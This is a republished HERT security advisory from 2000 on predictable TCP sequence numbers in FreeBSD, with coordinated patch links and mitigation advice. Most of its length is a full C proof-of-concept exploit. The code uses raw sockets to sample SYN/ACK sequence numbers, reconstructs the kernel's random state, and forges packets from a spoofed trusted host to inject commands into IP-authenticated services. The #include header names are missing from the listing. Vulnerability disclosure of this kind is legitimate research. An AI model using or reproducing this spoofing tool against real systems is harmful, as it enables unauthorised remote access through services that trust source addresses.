[ advisories | exploits | discussions | news | conventions | security tools | texts & papers ]
 main menu
- feedback
- advertising
- privacy
- FightAIDS
- newsletter
- news
 
 discussions
- read forum
- new topic
- search
 

 meetings
- meetings list
- recent additions
- add your info
 
 top 100 sites
- visit top sites
- sign up now
- members
 
 webmasters

- add your url
- add domain
- search box
- link to us

 
 projects
- our projects
- free email
 
 m4d network
- security software
- secureroot
- m4d.com
Home : Advisories : FreeBSD IP Spoofing

Title: FreeBSD IP Spoofing
Released by: HERT
Date: 1st October 2000
Printable version: Click here
-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1





- - ---------------------------------------------------------------

  HERT - Hacker Emergency Response Team

  alert@hert.org - http://hert.org



  Advisory:        #00003

  Title:           FreeBSD IP Spoofing

  Date:            1st October 2000

  Summary:         IP Spoofing Sequence number prediction

  IMPACT:          Remote access via services using IP based auth



  Authors:         Pascal Bouchareine - Kalou 

                   Paul Spiby 

  Test Exploit:    Pascal Bouchareine Kalou 



- - ---------------------------------------------------------------



Copyright (C) 2000 Hacker Emergency Response Team

Copyright (C) 2000 Pascal Bouchareine 



Permission is granted to reproduce and distribute HERT advisories in their

entirety, provided credits is awarded to its author and to HERT and

republished with the intent of increasing the awareness of the Internet

community.



This advisory and test code is part of our research and development.

They are not production tools for either attack or defense within an

information warfare setting.  Rather, they are just demonstrating proof

of concept.



The HERT PGP public key is available at http://ftp.hert.org/pub/HERT_PGP.key



To subscribe to the HERT Alert mailing list, email alert@hert.org with

subscribe in the body of the message.





1. Vulnerability description



	Weak random() in FreeBSD's TCP stack allows "spoof" [1] attacks.



2. Background



	The way FreeBSD handles random sequence number incrementing is weak.

  With 3 consecutive random increments captured from the responses of 4 SYN

  packets sent to the target, an attacker can rebuild the random state of the

  remote machine.  This information can then be used to predict the next

  random increments the remote machine will make.



3. Distributions known to be affected



	At least FreeBSD 5.x, 4.1-RELEASE, 4.0-RELEASE, 3.5-STABLE.



4. Details



  	The pseudo-random function called is a linear congruent generator [2]

  where the (N+1)th value is calculated from the Nth by :



                x[n + 1] = (7^5 * x[n]) mod (2^31 - 1)



	The random incrementation of the ISS is done by adding :



		122 * 1024 + ((random() >> 14) & 0x3ffff)



	This incrementation is done for each connection request and at

  500ms intervals by the kernel.  Unfortunately, it is likely to be done

  consecutively if an attacker is fast enough.  Then, guessing the remote

  random() state just takes (65535 * 3) tests for the attacker to

  synchronize.  Once done, the attacker may generate the same sequence

  numbers as the remote system does, and successfully achieve a spoof

  attack [1] (see example below).



5. Impact



	Any program that blindly trusts a remote IP address and doesn't

  provide strong (key/challenge) authentication may allow an attacker to

  send arbitrary data to the machine (eg. rcmd family [ rlogind, rshd ],

  some backup software, etc.) while masquerading as a trusted host;

  therefore gaining access to the remote system.



6. Recommendations



	These random number generators are not suited for security

  purposes [2].  You may want to patch /sys/netinet/tcp_seq.h and use

  arc4_random() instead of random() to generate the ISS incrementation.

  This random stream derived from rc4 is strong enough to prevent this

  type of attack, when using at least 32 bytes of switching cells, no less.

  Randomness may be added by using the keyboard, mouse, network "entropy"

  at a short enough frequency (seconds, minutes).



  	Never trust IP addresses in computer applications.  If you have to,

  be sure to use a secured protocol, with strong key exchange, such as ssh.



7. Official fix:



	This advisory has been released in co-ordination with the FreeBSD

  team who have now fixed FreeBSD 5.x (-CURRENT), 4.x and 3.x.

  The patch files can be obtained from the following URLs:



  For 3.x:

  http://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss-3.x.patch

  http://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss-3.x.patch.asc



  For 4.x:

  http://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss.patch

  http://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss.patch.asc



8. Documentation



	[1]

	Bellovin and Robert T. Morris about IP spoofing :



	  http://ftp.research.att.com/dist/internet_security/117.ps.Z

	  http://ftp.research.att.com/dist/internet_security/ipext.ps.Z



	[2]

	An excellent paper about random and security by Eastlake, Crocker

	& Schiller :



	  http://ftp.funet.fi/rfc/rfc1750.txt



9. General Information



  To report a vulnerability: http://www.hert.org/vul_reporting_form



  HERT stands for Hacker Emergency Response Team.



  HERT is a pool of hackers and security consultants from many different

  countries and a launchpad for new computer security projects.



  We focus on research and prevention; not enforcement and repression.



  If you wish to join the HERT effort please send a note to hert@hert.org.



  Contact hert@hert.org for more information.





10. Demonstration code



/* Sample example of remote sequence number prediction.

**

** FreeBSD { 4.1-Rel, 4.0-Rel, 3.5-Stable, ... }

**

** This exploit is part of the research and development effort conducted by

** HERT. It is  not a production tool for either attack or defense

** within an information warfare setting. Rather, it is a small

** program demonstrating proof of concept.

**

** If you are not the intended recipient, or a person responsible for

** delivering it to the intended recipient, you are not authorised to and

** must not disclose, copy, distribute, or retain this message or any

** part of it.  Such unauthorised use may be unlawful.  If you have

** received this transmission in error, please email us immediately at

** hert@hert.org so that we can arrange for its return.

**

**

** Concept:

**

**  1) Attacker sends 4 SYN (with her IP address) and 1 with the spoofed

**     address.

**

**  2) Victim answers with 5 SYN/ACK, *very close in time*

**

**     Attacker calculates the 3 random increments that were given.

**     Since FreeBSD adds randomness to it's ISS two times a second,

**     this is hopefully avoided during this process.

**

**  3) Attacker takes his pocket calculator, calculates a "replay" and

**     guesses the 4th increment. She manually enters the 5th seq at her

**     keyboard, drinks a coffee, and sends a forged ACK with the good

**     seq/ack to victim.

**     She's done.

**

** You still have to find something for the trusted host to shut up.

** This is clearly not the biggest problem.

**

** You may want to adjust precision from 4 SYNs to more or less, regarding

** your ping with target (150ms is good). More is useless until you have

** two possible matches. Less is usefull to have a 1/2 luck rate if you have

** a really bad connection. A 486 dx/33 was used to test this on a 56k modem

** with 4 syns and it was just fine.

**

**                                Pascal Bouchareine [ kalou  ]

**

*/



#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 



#define ISS_INCR	     (122*1024)

#define TCP_RANDOM18(n, lr)  (guess_next(n, lr) >> 14 & 0x3ffff)



#define INTOA(x) inet_ntoa( (struct in_addr) { x } )



#ifdef linux

#define ip_sum ip_csum

#endif



struct spoof {

  unsigned int   myaddr;

  unsigned int   src;

  unsigned int   dst;

  unsigned short sport;

  unsigned short dport;

};



/*

** This simulates freebsd's rand(), and gives the (time)th next random number,

** regarding the previous one (r).

*/



inline unsigned int guess_next(int times, unsigned int r)

{

  register unsigned int myr;

  register int t, hi, lo;

  int i;



  myr = r;

  for (i = 0; i < times; i++) {

    hi = myr / 127773;

    lo = myr % 127773;

    t = 16807 * lo - 2836 * hi;

    if (t <= 0)

      t += 0x7fffffff;

    myr = t;

  }

  return myr;

}



/*

** Calculates the next sequence.

** With 4 seqs, you often have an unique solution. (always ?)

**

*/



inline unsigned int init_iss(unsigned int seq[], int nseq)

{

  unsigned int	        tcp_iss;

  register unsigned int try;

  int                   i, res;



  if (nseq < 2) {

    return -1;

  }



  tcp_iss = seq[nseq - 1];



  for (try = (((seq[1] - seq[0]) << 2) - ISS_INCR) << 14;

     try < (((((seq[1] - seq[0]) << 2) - ISS_INCR) << 14) + 0xffff); try++) {



      for (i = 1, res = 0; i < (nseq - 1); i++) {

	if ( ((ISS_INCR + TCP_RANDOM18(i, try)) >> 2) ==

	        (seq[i + 1] - seq[i]) ) {

	  res++;

	} else {

	  if (res) res--;

	  break;

	}

      }

      if (res)

      {



	/* There, each random increment matched. We assume

	** the last rand is good to compute the next one.

	*/



       tcp_iss  += ( (ISS_INCR + TCP_RANDOM18(i, try)) >> 2 );



       fprintf(stderr, "[init_iss]\t found (precision %d)\n", res);

       fprintf(stderr, "[init_iss]\t last seq ws %u\n", seq[i]);

       fprintf(stderr, "[init_iss]\t next seq is %u\n", tcp_iss);



       return tcp_iss;

     }



  }

  fprintf(stderr, "[init_iss]\t failed to find iss.\n");

  return 0;

}



int raw_sock(int proto)

{

  int true = 1;

  int s;



  s = socket(AF_INET, SOCK_RAW, proto);

  if (s > 0) {

    if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &true, sizeof(true))) {

      perror("setsockopt");

      return -1;

    }

  } else {

    perror("raw_sock");

    return -1;

  }



  return s;

}



/*

** Well i guess this is ripped from somewhere..

*/



unsigned int host_lookup(char *h)

{

  struct in_addr a;

  struct hostent *he;



  if ( (a.s_addr = inet_addr(h)) == -1 ) {

    if ( (he = gethostbyname(h)) == NULL ) {

      perror("lookup");

      return -1; /* 255.255.255.255... */

    }



    bcopy(he->h_addr, (char *) &a.s_addr, he->h_length);

  }



  return a.s_addr;

}



/* The copy'n pasted one works so well. */



unsigned short in_cksum(addr, len)

    u_short *addr;

    int len;

{

    register int nleft = len;

    register u_short *w = addr;

    register int sum = 0;

    u_short answer = 0;



    while (nleft > 1)  {

        sum += *w++;

        nleft -= 2;

    }



    if (nleft == 1) {

        *(u_char *)(&answer) = *(u_char *)w ;

        sum += answer;

    }



    sum = (sum >> 16) + (sum & 0xffff);

    sum += (sum >> 16);

    answer = ~sum;

    return(answer);

}



int send_tcp(int  s,

	     unsigned int  src,

	     unsigned int  dst,

	     unsigned char  flg,

	     unsigned short sport,

	     unsigned short dport,

	     unsigned int  seq,

	     unsigned int  ack,

	     char          *data,

	     int            dlen)

{

  unsigned char pkt[1024];

  struct ip  *ip;

  struct tcphdr *tcp;

  struct sockaddr_in sa;



  static int ip_id = 0;

  struct pseudo {

    unsigned int    s;

    unsigned int    d;

    char            n;

    char            p;

    unsigned short  l;

  } pseudo;



  if (!ip_id) {

    ip_id = htons(rand() % getpid());

  }



  ip     = (struct ip *)  pkt;

  tcp    = (struct tcphdr *) (pkt + sizeof(struct ip));



  pseudo.s      = src;

  pseudo.d      = dst;

  pseudo.n      = 0;

  pseudo.p      = IPPROTO_TCP;

  pseudo.l      = htons(sizeof(struct tcphdr) + dlen);



  tcp->th_sport = htons(sport);

  tcp->th_dport = htons(dport);

  tcp->th_seq   = htonl(seq);

  tcp->th_ack   = htonl(ack);

  tcp->th_off   = 5;

  tcp->th_flags = flg;

  tcp->th_win   = htons(16384);

  tcp->th_urp   = 0;

  tcp->th_sum   = 0;



  memmove(((char *) tcp) + sizeof(struct tcphdr),

	 data, dlen);  /* baom. 1024 */



  memmove(((char *) tcp) - sizeof(struct pseudo),

	 (char *) &pseudo, sizeof(struct pseudo));



  tcp->th_sum = in_cksum(((char *) tcp) - sizeof(struct pseudo),

	                 sizeof(struct pseudo) +

			 sizeof(struct tcphdr) + dlen);



  ip->ip_v    = 4;

  ip->ip_hl   = 5;

  ip->ip_tos  = 0;

  ip->ip_len  = htons(sizeof(struct tcphdr) + sizeof(struct ip) + dlen);

  ip->ip_id   = ip_id++;

  ip->ip_off  = htons(0);

  ip->ip_ttl  = 64;

  ip->ip_p    = IPPROTO_TCP;

  ip->ip_sum  = 0;



  ip->ip_src.s_addr = src;

  ip->ip_dst.s_addr = dst;



//  ip->ip_sum  = in_cksum(pkt, sizeof(struct ip)

//			 + sizeof(struct tcphdr) + dlen);



  ip->ip_sum = 0;



  sa.sin_family = AF_INET;

  sa.sin_addr.s_addr = dst;

  sa.sin_port = 0;



  if (sendto(s, pkt, sizeof(struct ip) + sizeof(struct tcphdr) + dlen,

	     0, (struct sockaddr *) &sa, sizeof(sa)) < 0) {



    perror("sendto");

    return -1;

  }



  return 0;

}



int get_acks(int s, int n, unsigned int *seq,

	     unsigned int   src_addr,

	     unsigned short src_port)

{

  struct sockaddr_in from;

  int    fromlen;

  char   buf[512];

  int    nr = n;

  int    len;



  struct tcphdr *tcp;

  struct ip     *ip;



  while(nr) {

    fromlen = sizeof(from);

    if (recvfrom(s, buf, 512, 0, (struct sockaddr *) &from, &fromlen) > 0) {



      ip = (struct ip *) buf;



      if (ip->ip_src.s_addr == src_addr) {



	len = ip->ip_hl << 2;

	tcp = (struct tcphdr *) (buf + len);



	if (tcp->th_sport == src_port) {

	  fprintf(stderr, "[get_acks]\t got %lu\n", ntohl(tcp->th_seq));

	  seq[n - nr--] = ntohl(tcp->th_seq);

	}



      }



    } else {

      perror("recvfrom");

      return -1;

    }

  }



  return nr;

}



unsigned int send_init_flow(int s,

		   unsigned int   src,

		   unsigned int   dst,

		   unsigned int   spoofer,

		   unsigned short sport,

		   unsigned short dport,

		   int nseq)

{

  unsigned int seq;

  unsigned int ssport = sport;



  int i, err;



  seq = rand();



  err = 0;



  for (i = 0; i < nseq; i++) {

    err += send_tcp(s, src, dst, TH_SYN, ssport++, dport,

	     seq++, 0, "", 0);

  }



  err += send_tcp(s, spoofer, dst, TH_SYN, sport, dport,

		  seq, 0, "", 0);



  if (err)

    return -1;



  return seq;

}



void spoof_loop(int s,

		unsigned int   src,

		unsigned int   dst,

		unsigned short sport,

		unsigned short dport,

		unsigned int   oseq,

		unsigned int   oack)

{

  char buf[512];

  char *p;

  unsigned int seq = oseq + 1;  /* since remote inc'ed us in syn/ack */

  unsigned int ack = oack + 1;  /* since we must inc remote in ack */

  int  i;



  /* Our syn/ack is on its way.

     Better wait a little. */



  usleep(2800);

  send_tcp(s, src, dst, TH_ACK, sport, dport,

	   seq, ack, "", 0);



  while(read(0, buf, 512)) {

    if ( (p = strchr(buf, '\r')) ||

	 (p = strchr(buf, '\n')) ) {

      *p = '\0';

    }



    fprintf(stderr, "[send]\t %s\n", buf);

    strcat(buf, "\r\n");

    send_tcp(s, src, dst, TH_ACK|TH_PUSH, sport, dport,

	     seq, ack, buf, strlen(buf));



    seq += strlen(buf);

    memset(buf, '\0', sizeof(buf));

  }



  send_tcp(s, src, dst, TH_RST, sport, dport,

           seq, ack, buf, strlen(buf));

}





int spoof(struct spoof s, int p)

{

  int ss, rs;

  unsigned int seqs[4];

  unsigned int seq, ack;



  rs = raw_sock(IPPROTO_TCP);

  ss = raw_sock(IPPROTO_RAW);

  if ((ss < 0) || (rs < 0)) {

    perror("raw socket");

    return -1;

  }



  fprintf(stderr, "[main]\t\t probing %s.\n", INTOA(s.dst));

  fprintf(stderr, "[main]\t\t source  %s.\n", INTOA(s.myaddr));



  seq = send_init_flow(ss, s.myaddr,

		       s.dst, s.src, s.sport, s.dport, p);



  if (seq > 0) {

    fprintf(stderr, "[main]\t\t our seq is %u\n", seq);



    if (get_acks(rs, 4, seqs, s.dst, htons(s.dport)) == 0) {

       ack = init_iss(seqs, 4);

       fprintf(stderr, "[main]\t\t using %u+1/%u+1 as %s.\n", seq, ack,

	       INTOA(s.src));



       if (ack > 0) {

          usleep(2000);

          spoof_loop(ss, s.src,

	             s.dst, s.sport, s.dport, seq, ack);

       } else {

	 return -3;

       }



    } else { /* get_acks */

      return -2;

    }



  } /* seq < 0 */



  return -1;

}



void usage(char *p)

{

  fprintf(stderr, "Usage: %s..\n"

	          "\n\t<-m (my address)>\n"

		  "\t<-s (spoofed host)>\n"

		  "\t<-d (destination)>\n"

		  "\t<-p (dest port)>\n"

		  "\t[-S (source port):rand]\n"

		  "\t[-P precision:4]\n\n", p);

  exit(1);

}



int main(int argc, char **argv)

{

  int          precision;

  unsigned int hostaddr;

  struct spoof s;

  char c;



  srand(getpid());



  s.myaddr = 0;

  s.src    = 0;

  s.dst    = 0;

  s.dport  = 0;

  s.sport  = getpid();



  precision = 4;



  while ((c = getopt(argc, argv, "m:s:d:p:S:P:")) != EOF) {

    switch(c) {

	    case 'm':

	    case 's':

	    case 'd':

	      hostaddr = host_lookup(optarg);



	      if (hostaddr == -1) {

		fprintf(stderr, "%s: unknown host.\n", optarg);

		exit(1);

	      }



	      switch(c) {

		      case 'm':

			s.myaddr = hostaddr;

			break;

		      case 's':

			s.src = hostaddr;

			break;

		      case 'd':

			s.dst = hostaddr;

			break;

	      }



	      break;

	    case 'S':

	      s.sport = atoi(optarg);

	      break;

	    case 'p':

	      s.dport = atoi(optarg);

	      break;

	    case 'P':

	      precision = atoi(optarg);

	      break;

    }

  }



  if ((!s.myaddr) ||

      (!s.src) ||

      (!s.dst) ||

      (!s.dport)) {

    usage(argv[0]);

  }



  return spoof(s, precision);

}

-----BEGIN PGP SIGNATURE-----

Version: GnuPG v1.0.1 (FreeBSD)

Comment: For info see http://www.gnupg.org



iD8DBQE5267PUyyzsJj2xHMRAiGNAKCkKGxCmDryGdJbzw+7IqA5qJGUIgCgqFT2

IqFFgcLXGINv3l+K4LBKcU8=

=D5/J

-----END PGP SIGNATURE-----








(C) 1999-2000 All rights reserved.